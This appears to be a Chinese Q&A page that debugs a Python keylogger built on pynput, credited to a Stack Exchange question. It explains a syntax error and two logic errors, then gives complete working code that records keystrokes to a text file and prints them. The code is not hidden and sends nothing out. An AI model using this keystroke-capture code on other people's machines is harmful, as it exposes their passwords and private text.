You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python按键记录器代码重启后报错,终端显示按键信息求助

问题分析与修复方案

直接报错原因

代码最后一行listener. Join()存在语法错误:方法调用时,.和方法名join之间不能有空格,正确写法是listener.join()。这是导致重新运行时报错的核心原因。

其他逻辑问题(影响功能正常记录)

除了语法错误,代码还有两处逻辑问题导致按键记录不符合预期:

  • 特殊按键判断无效:k = str(key).replace("'","")得到的是字符串(比如"Key.space"),但Key.space是枚举对象,直接用字符串和枚举对象比较永远不成立,导致空格、回车无法被正确转换为空格和换行符。
  • 重复写入内容:不管特殊按键的判断是否触发,都会执行f.write(k),导致特殊按键会被写入两次(比如空格会被写入"Key.space ")。

修复后的完整代码

import pynput
from pynput.keyboard import Key, Listener

count = 0
keys = []

def write_file(keys):
    with open("thefile.txt", "a") as f:
        for key in keys:
            # 先处理特殊按键
            if key == Key.space:
                f.write(" ")
            elif key == Key.enter:
                f.write("\n")
            elif isinstance(key, Key):
                # 处理其他功能键,比如Shift、Ctrl等,可按需调整输出格式
                f.write(f"[{key.name}]")
            else:
                # 处理普通字符,去掉单引号
                k = str(key).replace("'", "")
                f.write(k)

def press(key):
    global count, keys
    keys.append(key)
    count += 1
    print("{0} pressed".format(key))
    if count >= 5:
        count = 0
        write_file(keys)
        keys = []

def release(key):
    if key == Key.esc:
        return False

with Listener(on_press=press, on_release=release) as listener:
    listener.join()

修复说明

  1. 修正了listener.join()的语法错误,移除了.和join之间的空格。
  2. 调整特殊按键的判断逻辑:直接用key对象和Key枚举成员比较,避免字符串与枚举对象的无效对比。
  3. 使用elif分支避免重复写入,确保每个按键只被处理一次。
  4. 增加了对其他功能键的处理逻辑,可根据需求调整输出格式。

内容的提问来源于stack exchange,提问作者Sinjini

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.14 05:36:05